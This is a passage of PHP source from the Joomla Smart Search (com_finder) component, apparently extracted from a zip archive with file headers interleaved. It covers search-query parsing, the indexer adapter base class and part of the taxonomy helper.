be input directly, multi-word * values have to be wrapped in double quotes. */ $quotes = html_entity_decode('‘’'', ENT_QUOTES, 'UTF-8'); $suffix = '(([\w\d' . $quotes . '-]+)|\"([\w\d\s' . $quotes . '-]+)\")'; /* * Iterate through the possible filter patterns and search for matches. * We need to match the key, colon, and a value pattern for the match * to be valid. */ foreach ($patterns as $modifier => $pattern) { $matches = array(); if ($debug) { $pattern = substr($pattern, 2, -2); } // Check if the filter pattern is in the input string. if (preg_match('#' . $pattern . '\s*:\s*' . $suffix . '#mi', $input, $matches)) { // Get the value given to the modifier. $value = isset($matches[3]) ? $matches[3] : $matches[1]; // Now we have to handle the filter string. switch ($modifier) { // Handle a before and after date filters. case 'before': case 'after': { // Get the time offset. $offset = JFactory::getApplication()->getCfg('offset'); // Array of allowed when values. $whens = array('before', 'after', 'exact'); // The value of 'today' is a special case that we need to handle. if ($value === JString::strtolower(JText::_('COM_FINDER_QUERY_FILTER_TODAY'))) { $today = JFactory::getDate('now', $offset); $value = $today->format('%Y-%m-%d'); } // Try to parse the date string. $date = JFactory::getDate($value, $offset); // Check if the date was parsed successfully. if ($date->toUnix() !== null) { // Set the date filter. $this->date1 = $date->toSQL(); $this->when1 = in_array($modifier, $whens) ? $modifier : 'before'; } break; } // Handle a taxonomy branch filter. default: { // Try to find the node id. $return = FinderIndexerTaxonomy::getNodeByTitle($modifier, $value); // Check if the node id was found. if ($return) { // Check if the branch has been cleared. if (!in_array($modifier, $cleared)) { // Clear the branch. $this->filters[$modifier] = array(); // Add the branch to the cleared list. $cleared[] = $modifier; } // Add the filter to the list. $this->filters[$modifier][$return->title] = (int) $return->id; } break; } } // Clean up the input string again. $input = str_replace($matches[0], '', $input); $input = preg_replace('#\s+#mi', ' ', $input); $input = JString::trim($input); } } /* * Extract the tokens enclosed in double quotes so that we can handle * them as phrases. */ if (JString::strpos($input, '"') !== false) { $matches = array(); // Extract the tokens enclosed in double quotes. if (preg_match_all('#\"([^"]+)\"#mi', $input, $matches)) { /* * One or more phrases were found so we need to iterate through * them, tokenize them as phrases, and remove them from the raw * input string before we move on to the next processing step. */ foreach ($matches[1] as $key => $match) { // Find the complete phrase in the input string. $pos = JString::strpos($input, $matches[0][$key]); $len = JString::strlen($matches[0][$key]); // Add any terms that are before this phrase to the stack. if (JString::trim(JString::substr($input, 0, $pos))) { $terms = array_merge($terms, explode(' ', JString::trim(JString::substr($input, 0, $pos)))); } // Strip out everything up to and including the phrase. $input = JString::substr($input, $pos + $len); // Clean up the input string again. $input = preg_replace('#\s+#mi', ' ', $input); $input = JString::trim($input); // Get the number of words in the phrase. $parts = explode(' ', $match); // Check if the phrase is longer than three words. if (count($parts) > 3) { /* * If the phrase is longer than three words, we need to * break it down into smaller chunks of phrases that * are less than or equal to three words. We overlap * the chunks so that we can ensure that a match is * found for the complete phrase and not just portions * of it. */ for ($i = 0, $c = count($parts); $i < $c; $i += 2) { // Set up the chunk. $chunk = array(); // The chunk has to be assembled based on how many // pieces are available to use. switch ($c - $i) { // If only one word is left, we can break from // the switch and loop because the last word // was already used at the end of the last // chunk. case 1: break 2; // If there words are left, we use them both as // the last chunk of the phrase and we're done. case 2: $chunk[] = $parts[$i]; $chunk[] = $parts[$i + 1]; break; // If there are three or more words left, we // build a three word chunk and continue on. default: $chunk[] = $parts[$i]; $chunk[] = $parts[$i + 1]; $chunk[] = $parts[$i + 2]; break; } // If the chunk is not empty, add it as a phrase. if (count($chunk)) { $phrases[] = implode(' ', $chunk); $terms[] = implode(' ', $chunk); } } } else { // The phrase is <= 3 words so we can use it as is. $phrases[] = $match; $terms[] = $match; } } } } // Add the remaining terms if present. if (!empty($input)) { $terms = array_merge($terms, explode(' ', $input)); } // An array of our boolean operators. $operator => $translation $operators = array( 'AND' => JString::strtolower(JText::_('COM_FINDER_QUERY_OPERATOR_AND')), 'OR' => JString::strtolower(JText::_('COM_FINDER_QUERY_OPERATOR_OR')), 'NOT' => JString::strtolower(JText::_('COM_FINDER_QUERY_OPERATOR_NOT')) ); // If language debugging is enabled you need to ignore the debug strings in matching. if (JDEBUG) { $debugStrings = array('**', '??'); $operators = str_replace($debugStrings, '', $operators); } /* * Iterate through the terms and perform any sorting that needs to be * done based on boolean search operators. Terms that are before an * and/or/not modifier have to be handled in relation to their operator. */ for ($i = 0, $c = count($terms); $i < $c; $i++) { // Check if the term is followed by an operator that we understand. if (isset($terms[$i + 1]) && in_array($terms[$i + 1], $operators)) { // Get the operator mode. $op = array_search($terms[$i + 1], $operators); // Handle the AND operator. if ($op === 'AND' && isset($terms[$i + 2])) { // Tokenize the current term. $token = FinderIndexerHelper::tokenize($terms[$i], $lang, true); $token = $this->getTokenData($token); // Set the required flag. $token->required = true; // Add the current token to the stack. $this->included[] = $token; $this->highlight = array_merge($this->highlight, array_keys($token->matches)); // Skip the next token (the mode operator). $this->operators[] = $terms[$i + 1]; // Tokenize the term after the next term (current plus two). $other = FinderIndexerHelper::tokenize($terms[$i + 2], $lang, true); $other = $this->getTokenData($other); // Set the required flag. $other->required = true; // Add the token after the next token to the stack. $this->included[] = $other; $this->highlight = array_merge($this->highlight, array_keys($other->matches)); // Remove the processed phrases if possible. if (($pk = array_search($terms[$i], $phrases)) !== false) { unset($phrases[$pk]); } if (($pk = array_search($terms[$i + 2], $phrases)) !== false) { unset($phrases[$pk]); } // Remove the processed terms. unset($terms[$i]); unset($terms[$i + 1]); unset($terms[$i + 2]); // Adjust the loop. $i += 2; continue; } // Handle the OR operator. elseif ($op === 'OR' && isset($terms[$i + 2])) { // Tokenize the current term. $token = FinderIndexerHelper::tokenize($terms[$i], $lang, true); $token = $this->getTokenData($token); // Set the required flag. $token->required = false; // Add the current token to the stack. if (count($token->matches)) { $this->included[] = $token; $this->highlight = array_merge($this->highlight, array_keys($token->matches)); } else { $this->ignored[] = $token; } // Skip the next token (the mode operator). $this->operators[] = $terms[$i + 1]; // Tokenize the term after the next term (current plus two). $other = FinderIndexerHelper::tokenize($terms[$i + 2], $lang, true); $other = $this->getTokenData($other); // Set the required flag. $other->required = false; // Add the token after the next token to the stack. if (count($other->matches)) { $this->included[] = $other; $this->highlight = array_merge($this->highlight, array_keys($other->matches)); } else { $this->ignored[] = $other; } // Remove the processed phrases if possible. if (($pk = array_search($terms[$i], $phrases)) !== false) { unset($phrases[$pk]); } if (($pk = array_search($terms[$i + 2], $phrases)) !== false) { unset($phrases[$pk]); } // Remove the processed terms. unset($terms[$i]); unset($terms[$i + 1]); unset($terms[$i + 2]); // Adjust the loop. $i += 2; continue; } } // Handle an orphaned OR operator. elseif (isset($terms[$i + 1]) && array_search($terms[$i], $operators) === 'OR') { // Skip the next token (the mode operator). $this->operators[] = $terms[$i]; // Tokenize the next term (current plus one). $other = FinderIndexerHelper::tokenize($terms[$i + 1], $lang, true); $other = $this->getTokenData($other); // Set the required flag. $other->required = false; // Add the token after the next token to the stack. if (count($other->matches)) { $this->included[] = $other; $this->highlight = array_merge($this->highlight, array_keys($other->matches)); } else { $this->ignored[] = $other; } // Remove the processed phrase if possible. if (($pk = array_search($terms[$i + 1], $phrases)) !== false) { unset($phrases[$pk]); } // Remove the processed terms. unset($terms[$i]); unset($terms[$i + 1]); // Adjust the loop. $i += 1; continue; } // Handle the NOT operator. elseif (isset($terms[$i + 1]) && array_search($terms[$i], $operators) === 'NOT') { // Skip the next token (the mode operator). $this->operators[] = $terms[$i]; // Tokenize the next term (current plus one). $other = FinderIndexerHelper::tokenize($terms[$i + 1], $lang, true); $other = $this->getTokenData($other); // Set the required flag. $other->required = false; // Add the next token to the stack. if (count($other->matches)) { $this->excluded[] = $other; } else { $this->ignored[] = $other; } // Remove the processed phrase if possible. if (($pk = array_search($terms[$i + 1], $phrases)) !== false) { unset($phrases[$pk]); } // Remove the processed terms. unset($terms[$i]); unset($terms[$i + 1]); // Adjust the loop. $i += 1; continue; } } /* * Iterate through any search phrases and tokenize them. We handle * phrases as autonomous units and do not break them down into two and * three word combinations. */ for ($i = 0, $c = count($phrases); $i < $c; $i++) { // Tokenize the phrase. $token = FinderIndexerHelper::tokenize($phrases[$i], $lang, true); $token = $this->getTokenData($token); // Set the required flag. $token->required = true; // Add the current token to the stack. $this->included[] = $token; $this->highlight = array_merge($this->highlight, array_keys($token->matches)); // Remove the processed term if possible. if (($pk = array_search($phrases[$i], $terms)) !== false) { unset($terms[$pk]); } // Remove the processed phrase. unset($phrases[$i]); } /* * Handle any remaining tokens using the standard processing mechanism. */ if (!empty($terms)) { // Tokenize the terms. $terms = implode(' ', $terms); $tokens = FinderIndexerHelper::tokenize($terms, $lang, false); // Make sure we are working with an array. $tokens = is_array($tokens) ? $tokens : array($tokens); // Get the token data and required state for all the tokens. foreach ($tokens as $token) { // Get the token data. $token = $this->getTokenData($token); // Set the required flag for the token. $token->required = $mode === 'AND' ? ($token->phrase ? false : true) : false; // Add the token to the appropriate stack. if (count($token->matches) || $token->required) { $this->included[] = $token; $this->highlight = array_merge($this->highlight, array_keys($token->matches)); } else { $this->ignored[] = $token; } } } return true; } /** * Method to get the base and similar term ids and, if necessary, suggested * term data from the database. The terms ids are identified based on a * 'like' match in MySQL and/or a common stem. If no term ids could be * found, then we know that we will not be able to return any results for * that term and we should try to find a similar term to use that we can * match so that we can suggest the alternative search query to the user. * * @param FinderIndexerToken $token A FinderIndexerToken object. * * @return FinderIndexerToken A FinderIndexerToken object. * * @since 2.5 * @throws Exception on database error. */ protected function getTokenData($token) { // Get the database object. $db = JFactory::getDBO(); // Create a database query to build match the token. $query = $db->getQuery(true); $query->select('t.term, t.term_id'); $query->from('#__finder_terms AS t'); /* * If the token is a phrase, the lookup process is fairly simple. If * the token is a word, it is a little more complicated. We have to * create two queries to lookup the term and the stem respectively, * then union the result sets together. This is MUCH faster than using * an or condition in the database query. */ if ($token->phrase) { // Add the phrase to the query. $query->where('t.term = ' . $db->quote($token->term)); $query->where('t.phrase = 1'); } else { // Add the term to the query. $query->where('t.term = ' . $db->quote($token->term)); $query->where('t.phrase = 0'); // Clone the query, replace the WHERE clause. $sub = clone($query); $sub->clear('where'); $sub->where('t.stem = '.$db->quote($token->stem)); $sub->where('t.phrase = 0'); // Union the two queries. $query->union($sub); // $query->where('(t.term = ' . $db->quote($token->term) . ' OR t.stem = ' . $db->quote($token->stem) . ')'); // $query->where('t.phrase = 0'); } // Get the terms. $db->setQuery($query); $matches = $db->loadObjectList(); // Check for a database error. if ($db->getErrorNum()) { // Throw database error exception. throw new Exception($db->getErrorMsg(), 500); } // Setup the container. $token->matches = array(); // Check the matching terms. if (!empty($matches)) { // Add the matches to the token. for ($i = 0, $c = count($matches); $i < $c; $i++) { $token->matches[$matches[$i]->term] = (int) $matches[$i]->term_id; } } // If no matches were found, try to find a similar but better token. if (empty($token->matches)) { // Create a database query to get the similar terms. //@TODO: PostgreSQL doesn't support SOUNDEX out of the box $query->clear(); $query->select('DISTINCT t.term_id AS id, t.term AS term'); $query->from('#__finder_terms AS t'); //$query->where('t.soundex = ' . soundex($db->quote($token->term))); $query->where('t.soundex = SOUNDEX(' . $db->quote($token->term) . ')'); $query->where('t.phrase = ' . (int) $token->phrase); // Get the terms. $db->setQuery($query); $results = $db->loadObjectList(); // Check for a database error. if ($db->getErrorNum()) { // Throw database error exception. throw new Exception($db->getErrorMsg(), 500); } // Check if any similar terms were found. if (empty($results)) { return $token; } // Stack for sorting the similar terms. $suggestions = array(); // Get the levnshtein distance for all suggested terms. foreach ($results as $sk => $st) { // Get the levenshtein distance between terms. $distance = levenshtein($st->term, $token->term); // Make sure the levenshtein distance isn't over 50. if ($distance < 50) { $suggestions[$sk] = $distance; } } // Sort the suggestions. asort($suggestions, SORT_NUMERIC); // Get the closest match. $keys = array_keys($suggestions); $key = $keys[0]; // Add the suggested term. $token->suggestion = $results[$key]->term; } return $token; } } PKs>\|/^/^&com_finder/helpers/indexer/adapter.phpnuW+Adb = JFactory::getDBO(); // Call the parent constructor. parent::__construct($subject, $config); // Get the type id. $this->type_id = $this->getTypeId(); // Add the content type if it doesn't exist and is set. if (empty($this->type_id) && !empty($this->type_title)) { $this->type_id = FinderIndexerHelper::addContentType($this->type_title, $this->mime); } // Check for a layout override. if ($this->params->get('layout')) { $this->layout = $this->params->get('layout'); } } /** * Method to get the adapter state and push it into the indexer. * * @return boolean True on success. * * @since 2.5 * @throws Exception on error. */ public function onStartIndex() { JLog::add('FinderIndexerAdapter::onStartIndex', JLog::INFO); // Get the indexer state. $iState = FinderIndexer::getState(); // Get the number of content items. $total = (int) $this->getContentCount(); // Add the content count to the total number of items. $iState->totalItems += $total; // Populate the indexer state information for the adapter. $iState->pluginState[$this->context]['total'] = $total; $iState->pluginState[$this->context]['offset'] = 0; // Set the indexer state. FinderIndexer::setState($iState); } /** * Method to prepare for the indexer to be run. This method will often * be used to include dependencies and things of that nature. * * @return boolean True on success. * * @since 2.5 * @throws Exception on error. */ public function onBeforeIndex() { JLog::add('FinderIndexerAdapter::onBeforeIndex', JLog::INFO); // Get the indexer and adapter state. $iState = FinderIndexer::getState(); $aState = $iState->pluginState[$this->context]; // Check the progress of the indexer and the adapter. if ($iState->batchOffset == $iState->batchSize || $aState['offset'] == $aState['total']) { return true; } // Run the setup method. return $this->setup(); } /** * Method to index a batch of content items. This method can be called by * the indexer many times throughout the indexing process depending on how * much content is available for indexing. It is important to track the * progress correctly so we can display it to the user. * * @return boolean True on success. * * @since 2.5 * @throws Exception on error. */ public function onBuildIndex() { JLog::add('FinderIndexerAdapter::onBuildIndex', JLog::INFO); // Get the indexer and adapter state. $iState = FinderIndexer::getState(); $aState = $iState->pluginState[$this->context]; // Check the progress of the indexer and the adapter. if ($iState->batchOffset == $iState->batchSize || $aState['offset'] == $aState['total']) { return true; } // Get the batch offset and size. $offset = (int) $aState['offset']; $limit = (int) ($iState->batchSize - $iState->batchOffset); // Get the content items to index. $items = $this->getItems($offset, $limit); // Iterate through the items and index them. for ($i = 0, $n = count($items); $i < $n; $i++) { // Index the item. $this->index($items[$i]); // Adjust the offsets. $offset++; $iState->batchOffset++; $iState->totalItems--; } // Update the indexer state. $aState['offset'] = $offset; $iState->pluginState[$this->context] = $aState; FinderIndexer::setState($iState); return true; } /** * Method to change the value of a content item's property in the links * table. This is used to synchronize published and access states that * are changed when not editing an item directly. * * @param string $id The ID of the item to change. * @param string $property The property that is being changed. * @param integer $value The new value of that property. * * @return boolean True on success. * * @since 2.5 * @throws Exception on database error. */ protected function change($id, $property, $value) { JLog::add('FinderIndexerAdapter::change', JLog::INFO); // Check for a property we know how to handle. if ($property !== 'state' && $property !== 'access') { return true; } // Get the url for the content id. $item = $this->db->quote($this->getUrl($id, $this->extension, $this->layout)); // Update the content items. $query = $this->db->getQuery(true); $query->update($this->db->quoteName('#__finder_links')); $query->set($this->db->quoteName($property) . ' = ' . (int) $value); $query->where($this->db->quoteName('url') . ' = ' . $item); $this->db->setQuery($query); $this->db->query(); // Check for a database error. if ($this->db->getErrorNum()) { // Throw database error exception. throw new Exception($this->db->getErrorMsg(), 500); } return true; } /** * Method to index an item. * * @param FinderIndexerResult $item The item to index as a FinderIndexerResult object. * * @return boolean True on success. * * @since 2.5 * @throws Exception on database error. */ abstract protected function index(FinderIndexerResult $item); /** * Method to reindex an item. * * @param integer $id The ID of the item to reindex. * * @return boolean True on success. * * @since 2.5 * @throws Exception on database error. */ protected function reindex($id) { // Run the setup method. $this->setup(); // Remove the old item. $this->remove($id); // Get the item. $item = $this->getItem($id); // Index the item. $this->index($item); } /** * Method to remove an item from the index. * * @param string $id The ID of the item to remove. * * @return boolean True on success. * * @since 2.5 * @throws Exception on database error. */ protected function remove($id) { JLog::add('FinderIndexerAdapter::remove', JLog::INFO); // Get the item's URL $url = $this->db->quote($this->getUrl($id, $this->extension, $this->layout)); // Get the link ids for the content items. $query = $this->db->getQuery(true); $query->select($this->db->quoteName('link_id')); $query->from($this->db->quoteName('#__finder_links')); $query->where($this->db->quoteName('url') . ' = ' . $url); $this->db->setQuery($query); $items = $this->db->loadColumn(); // Check for a database error. if ($this->db->getErrorNum()) { // Throw database error exception. throw new Exception($this->db->getErrorMsg(), 500); } // Check the items. if (empty($items)) { return true; } // Remove the items. foreach ($items as $item) { FinderIndexer::remove($item); } return true; } /** * Method to setup the adapter before indexing. * * @return boolean True on success, false on failure. * * @since 2.5 * @throws Exception on database error. */ abstract protected function setup(); /** * Method to update index data on category access level changes * * @param JTable $row A JTable object * * @return void * * @since 2.5 */ protected function categoryAccessChange($row) { $sql = clone($this->getStateQuery()); $sql->where('c.id = ' . (int) $row->id); // Get the access level. $this->db->setQuery($sql); $items = $this->db->loadObjectList(); // Adjust the access level for each item within the category. foreach ($items as $item) { // Set the access level. $temp = max($item->access, $row->access); // Update the item. $this->change((int) $item->id, 'access', $temp); // Reindex the item $this->reindex($item->id); } } /** * Method to update index data on category access level changes * * @param array $pks A list of primary key ids of the content that has changed state. * @param integer $value The value of the state that the content has been changed to. * * @return void * * @since 2.5 */ protected function categoryStateChange($pks, $value) { // The item's published state is tied to the category // published state so we need to look up all published states // before we change anything. foreach ($pks as $pk) { $sql = clone($this->getStateQuery()); $sql->where('c.id = ' . (int) $pk); // Get the published states. $this->db->setQuery($sql); $items = $this->db->loadObjectList(); // Adjust the state for each item within the category. foreach ($items as $item) { // Translate the state. $temp = $this->translateState($item->state, $value); // Update the item. $this->change($item->id, 'state', $temp); // Reindex the item $this->reindex($item->id); } } } /** * Method to check the existing access level for categories * * @param JTable $row A JTable object * * @return void * * @since 2.5 */ protected function checkCategoryAccess($row) { $query = $this->db->getQuery(true); $query->select($this->db->quoteName('access')); $query->from($this->db->quoteName('#__categories')); $query->where($this->db->quoteName('id') . ' = ' . (int)$row->id); $this->db->setQuery($query); // Store the access level to determine if it changes $this->old_cataccess = $this->db->loadResult(); } /** * Method to check the existing access level for items * * @param JTable $row A JTable object * * @return void * * @since 2.5 */ protected function checkItemAccess($row) { $query = $this->db->getQuery(true); $query->select($this->db->quoteName('access')); $query->from($this->db->quoteName($this->table)); $query->where($this->db->quoteName('id') . ' = ' . (int)$row->id); $this->db->setQuery($query); // Store the access level to determine if it changes $this->old_access = $this->db->loadResult(); } /** * Method to get the number of content items available to index. * * @return integer The number of content items available to index. * * @since 2.5 * @throws Exception on database error. */ protected function getContentCount() { JLog::add('FinderIndexerAdapter::getContentCount', JLog::INFO); $return = 0; // Get the list query. $sql = $this->getListQuery(); // Check if the query is valid. if (empty($sql)) { return $return; } // Tweak the SQL query to make the total lookup faster. if ($sql instanceof JDatabaseQuery) { $sql = clone($sql); $sql->clear('select'); $sql->select('COUNT(*)'); $sql->clear('order'); } // Get the total number of content items to index. $this->db->setQuery($sql); $return = (int) $this->db->loadResult(); // Check for a database error. if ($this->db->getErrorNum()) { // Throw database error exception. throw new Exception($this->db->getErrorMsg(), 500); } return $return; } /** * Method to get a content item to index. * * @param integer $id The id of the content item. * * @return FinderIndexerResult A FinderIndexerResult object. * * @since 2.5 * @throws Exception on database error. */ protected function getItem($id) { JLog::add('FinderIndexerAdapter::getItem', JLog::INFO); // Get the list query and add the extra WHERE clause. $sql = $this->getListQuery(); $sql->where('a.' . $this->db->quoteName('id') . ' = ' . (int) $id); // Get the item to index. $this->db->setQuery($sql); $row = $this->db->loadAssoc(); // Check for a database error. if ($this->db->getErrorNum()) { // Throw database error exception. throw new Exception($this->db->getErrorMsg(), 500); } // Convert the item to a result object. $item = JArrayHelper::toObject($row, 'FinderIndexerResult'); // Set the item type. $item->type_id = $this->type_id; // Set the item layout. $item->layout = $this->layout; return $item; } /** * Method to get a list of content items to index. * * @param integer $offset The list offset. * @param integer $limit The list limit. * @param JDatabaseQuery $sql A JDatabaseQuery object. [optional] * * @return array An array of FinderIndexerResult objects. * * @since 2.5 * @throws Exception on database error. */ protected function getItems($offset, $limit, $sql = null) { JLog::add('FinderIndexerAdapter::getItems', JLog::INFO); $items = array(); // Get the content items to index. $this->db->setQuery($this->getListQuery($sql), $offset, $limit); $rows = $this->db->loadAssocList(); // Check for a database error. if ($this->db->getErrorNum()) { // Throw database error exception. throw new Exception($this->db->getErrorMsg(), 500); } // Convert the items to result objects. foreach ($rows as $row) { // Convert the item to a result object. $item = JArrayHelper::toObject($row, 'FinderIndexerResult'); // Set the item type. $item->type_id = $this->type_id; // Set the mime type. $item->mime = $this->mime; // Set the item layout. $item->layout = $this->layout; // Set the extension if present if (isset($row->extension)) { $item->extension = $row->extension; } // Add the item to the stack. $items[] = $item; } return $items; } /** * Method to get the SQL query used to retrieve the list of content items. * * @param mixed $sql A JDatabaseQuery object. [optional] * * @return JDatabaseQuery A database object. * * @since 2.5 */ protected function getListQuery($sql = null) { JLog::add('FinderIndexerAdapter::getListQuery', JLog::INFO); // Check if we can use the supplied SQL query. $sql = $sql instanceof JDatabaseQuery ? $sql : $this->db->getQuery(true); return $sql; } /** * Method to get the plugin type * * @param integer $id The plugin ID * * @return string The plugin type * * @since 2.5 */ protected function getPluginType($id) { // Prepare the query $query = $this->db->getQuery(true); $query->select($this->db->quoteName('element')); $query->from($this->db->quoteName('#__extensions')); $query->where($this->db->quoteName('extension_id') . ' = ' . (int) $id); $this->db->setQuery($query); $type = $this->db->loadResult(); return $type; } /** * Method to get a SQL query to load the published and access states for * an article and category. * * @return JDatabaseQuery A database object. * * @since 2.5 */ protected function getStateQuery() { $sql = $this->db->getQuery(true); // Item ID $sql->select('a.id'); // Item and category published state $sql->select('a.' . $this->state_field . ' AS state, c.published AS cat_state'); // Item and category access levels $sql->select('a.access, c.access AS cat_access'); $sql->from($this->table . ' AS a'); $sql->join('LEFT', '#__categories AS c ON c.id = a.catid'); return $sql; } /** * Method to get the query clause for getting items to update by time. * * @param string $time The modified timestamp. * * @return JDatabaseQuery A database object. * * @since 2.5 */ protected function getUpdateQueryByTime($time) { JLog::add('FinderIndexerAdapter::getUpdateQueryByTime', JLog::INFO); // Build an SQL query based on the modified time. $sql = $this->db->getQuery(true); $sql->where('a.' . $this->db->quoteName('modified') . ' >= ' . $this->db->quote($time)); return $sql; } /** * Method to get the query clause for getting items to update by id. * * @param array $ids The ids to load. * * @return JDatabaseQuery A database object. * * @since 2.5 */ protected function getUpdateQueryByIds($ids) { JLog::add('FinderIndexerAdapter::getUpdateQueryByIds', JLog::INFO); // Build an SQL query based on the item ids. $sql = $this->db->getQuery(true); $sql->where('a.' . $this->db->quoteName('id') . ' IN(' . implode(',', $ids) . ')'); return $sql; } /** * Method to get the type id for the adapter content. * * @return integer The numeric type id for the content. * * @since 2.5 * @throws Exception on database error. */ protected function getTypeId() { JLog::add('FinderIndexerAdapter::getTypeId', JLog::INFO); // Get the type id from the database. $query = $this->db->getQuery(true); $query->select($this->db->quoteName('id')); $query->from($this->db->quoteName('#__finder_types')); $query->where($this->db->quoteName('title') . ' = ' . $this->db->quote($this->type_title)); $this->db->setQuery($query); $result = (int) $this->db->loadResult(); // Check for a database error. if ($this->db->getErrorNum()) { // Throw database error exception. throw new Exception($this->db->getErrorMsg(), 500); } return $result; } /** * Method to get the URL for the item. The URL is how we look up the link * in the Finder index. * * @param integer $id The id of the item. * @param string $extension The extension the category is in. * @param string $view The view for the URL. * * @return string The URL of the item. * * @since 2.5 */ protected function getURL($id, $extension, $view) { return 'index.php?option=' . $extension . '&view=' . $view . '&id=' . $id; } /** * Method to get the page title of any menu item that is linked to the * content item, if it exists and is set. * * @param string $url The url of the item. * * @return mixed The title on success, null if not found. * * @since 2.5 * @throws Exception on database error. */ protected function getItemMenuTitle($url) { JLog::add('FinderIndexerAdapter::getItemMenuTitle', JLog::INFO); $return = null; // Set variables $user = JFactory::getUser(); $groups = implode(',', $user->getAuthorisedViewLevels()); // Build a query to get the menu params. $sql = $this->db->getQuery(true); $sql->select($this->db->quoteName('params')); $sql->from($this->db->quoteName('#__menu')); $sql->where($this->db->quoteName('link') . ' = ' . $this->db->quote($url)); $sql->where($this->db->quoteName('published') . ' = 1'); $sql->where($this->db->quoteName('access') . ' IN (' . $groups . ')'); // Get the menu params from the database. $this->db->setQuery($sql); $params = $this->db->loadResult(); // Check for a database error. if ($this->db->getErrorNum()) { // Throw database error exception. throw new Exception($this->db->getErrorMsg(), 500); } // Check the results. if (empty($params)) { return $return; } // Instantiate the params. $params = json_decode($params); // Get the page title if it is set. if ($params->page_title) { $return = $params->page_title; } return $return; } /** * Method to update index data on access level changes * * @param JTable $row A JTable object * * @return void * * @since 2.5 */ protected function itemAccessChange($row) { $sql = clone($this->getStateQuery()); $sql->where('a.id = ' . (int) $row->id); // Get the access level. $this->db->setQuery($sql); $item = $this->db->loadObject(); // Set the access level. $temp = max($row->access, $item->cat_access); // Update the item. $this->change((int) $row->id, 'access', $temp); } /** * Method to update index data on published state changes * * @param array $pks A list of primary key ids of the content that has changed state. * @param integer $value The value of the state that the content has been changed to. * * @return void * * @since 2.5 */ protected function itemStateChange($pks, $value) { // The item's published state is tied to the category // published state so we need to look up all published states // before we change anything. foreach ($pks as $pk) { $sql = clone($this->getStateQuery()); $sql->where('a.id = ' . (int) $pk); // Get the published states. $this->db->setQuery($sql); $item = $this->db->loadObject(); // Translate the state. $temp = $this->translateState($value, $item->cat_state); // Update the item. $this->change($pk, 'state', $temp); // Reindex the item $this->reindex($pk); } } /** * Method to update index data when a plugin is disabled * * @param array $pks A list of primary key ids of the content that has changed state. * * @return void * * @since 2.5 */ protected function pluginDisable($pks) { // Since multiple plugins may be disabled at a time, we need to check first // that we're handling the appropriate one for the context foreach ($pks as $pk) { if ($this->getPluginType($pk) == strtolower($this->context)) { // Get all of the items to unindex them $sql = clone($this->getStateQuery()); $this->db->setQuery($sql); $items = $this->db->loadColumn(); // Remove each item foreach ($items as $item) { $this->remove($item); } } } } /** * Method to translate the native content states into states that the * indexer can use. * * @param integer $item The item state. * @param integer $category The category state. [optional] * * @return integer The translated indexer state. * * @since 2.5 */ protected function translateState($item, $category = null) { // If category is present, factor in its states as well if ($category !== null) { if ($category == 0) { $item = 0; } } // Translate the state switch ($item) { // Published and archived items only should return a published state case 1; case 2: return 1; // All other states should return a unpublished state default: case 0: return 0; } } } PKs>\q2..'com_finder/helpers/indexer/taxonomy.phpnuW+Aid; } // Check to see if the branch is in the table. $db = JFactory::getDBO(); $query = $db->getQuery(true); $query->select('*'); $query->from($db->quoteName('#__finder_taxonomy')); $query->where($db->quoteName('parent_id') . ' = 1'); $query->where($db->quoteName('title') . ' = ' . $db->quote($title)); $db->setQuery($query); // Get the result. $result = $db->loadObject(); // Check for a database error. if ($db->getErrorNum()) { // Throw database error exception. throw new Exception($db->getErrorMsg(), 500); } // Check if the database matches the input data. if (!empty($result) && $result->state == $state && $result->access == $access) { // The data matches, add the item to the cache. self::$branches[$title] = $result; return self::$branches[$title]->id; } // The database did not match the input. This could be because the // state has changed or because the branch does not exist. Let's figure // out which case is true and deal with it. $branch = new JObject; if (empty($result)) { // Prepare the branch object. $branch->parent_id = 1; $branch->title = $title; $branch->state = (int) $state; $branch->access = (int) $access; } else { // Prepare the branch object. $branch->id = (int) $result->id; $branch->parent_id = (int) $result->parent_id; $branch->title = $result->title; $branch->state = (int) $result->title; $branch->access = (int) $result->access; $branch->ordering = (int) $result->ordering; } // Store the branch. self::storeNode($branch); // Add the branch to the cache. self::$branches[$title] = $branch; return self::$branches[$title]->id; } /** * Method to add a node to the taxonomy tree. * * @param string $branch The title of the branch to store the node in. * @param string $title The title of the node. * @param integer $state The published state of the node. [optional] * @param integer $access The access state of the node. [optional] * * @return integer The id of the node. * * @since 2.5 * @throws Exception on database error. */ public static function addNode($branch, $title, $state = 1, $access = 1) { // Check to see if the node is in the cache. if (isset(self::$nodes[$branch][$title])) { return self::$nodes[$branch][$title]->id; } // Get the branch id, inserted it if it does not exist. $branchId = self::addBranch($branch); // Check to see if the node is in the table. $db = JFactory::getDBO(); $query = $db->getQuery(true); $query->select('*'); $query->from($db->quoteName('#__finder_taxonomy')); $query->where($db->quoteName('parent_id') . ' = ' . $db->quote($branchId)); $query->where($db->quoteName('title') . ' = ' . $db->quote($title)); $db->setQuery($query); // Get the result. $result = $db->loadObject(); // Check for a database error. if ($db->getErrorNum()) { // Throw database error exception. throw new Exception($db->getErrorMsg(), 500); } // Check if the database matches the input data. if (!empty($result) && $result->state == $state && $result->access == $access) { // The data matches, add the item to the cache. self::$nodes[$branch][$title] = $result; return self::$nodes[$branch][$title]->id; } // The database did not match the input. This could be because the // state has changed or because the node does not exist. Let's figure // out which case is true and deal with it. $node = new JObject; if (empty($result)) { // Prepare the node object. $node->parent_id = (int) $branchId; $node->title = $title; $node->state = (int) $state; $node->access = (int) $access; } else { // Prepare the node object. $node->id = (int) $result->id; $node->parent_id = (int) $result->parent_id; $node->title = $result->title; $node->state = (int) $result->title; $node->access = (int) $result->access; $node->ordering = (int) $result->ordering; } // Store the node. self::storeNode($node); // Add the node to the cache. self::$nodes[$branch][$title] = $node; return self::$nodes[$branch][$title]->id; } /** * Method to add a map entry between a link and a taxonomy node. * * @param integer $linkId The link to map to. * @param integer $nodeId The node to map to. * * @return boolean True on success. * * @since 2.5 * @throws Exception on database error. */ public static function addMap($linkId, $nodeId) { // Insert the map. $db = JFactory::getDBO(); $query = $db->getQuery(true); $query->select($db->quoteName('link_id')); $query->from($db->quoteName('#__finder_taxonomy_map')); $query->where($db->quoteName('link_id') . ' = ' . (int)$linkId); $query->where($db->quoteName('node_id') . ' = ' . (int)$nodeId); $db->setQuery($query); $db->query(); $id = (int) $db->loadResult(); $map = new JObject(); $map->link_id = (int) $linkId; $map->node_id = (int) $nodeId; if ($id) { $db->updateObject('#__finder_taxonomy_map', $map); } else { $db->insertObject('#__finder_taxonomy_map', $map); } // Check for a database error. if ($db->getErrorNum()) { // Throw database error exception. throw new 